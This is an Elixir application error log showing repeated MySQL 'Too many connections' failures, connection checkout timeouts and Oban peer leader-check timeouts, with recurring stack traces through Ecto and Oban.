[Sat Sep  5 22:09:35.498000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:36.882000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:09:36.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:38.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:39.265000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:41.959000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:45.086000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:46.846000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:47.257000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:00.317000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:01.222000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:06.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:10.913000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:10:15.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:15.914000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:10:20.375000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:10:20.375000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:22.545000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:24.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:26.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:29.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:34.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:43.484000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:51.886000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:53.348000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:10:55.406000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:10:55.789000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:00.407000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:11:03.776000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:11:05.176000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:11:05.177000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:06.313000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:06.665000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:07.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:07.747000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:17.332000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:17.939000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:33.675000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:36.240000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:39.207000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:11:40.624000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:44.208000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:11:46.147000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:49.000000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:11:49.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:50.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:52.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:11:56.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:04.163000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:04.848000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:05.315000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:21.076000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:23.034000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:12:26.003000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:28.035000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:12:31.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:32.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:12:32.439000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:35.387000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:35.388000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:40.149000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:45.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:46.916000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:53.797000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:55.762000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:12:59.209000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:07.471000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:13:08.783000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:13:12.472000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:13:15.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:16.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:13:16.902000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:19.418000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:19.443000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:22.296000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:27.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:29.874000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:39.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:41.826000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:49.022000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:49.930000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:13:52.549000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:54.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:54.931000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:13:55.302000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:13:58.952000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
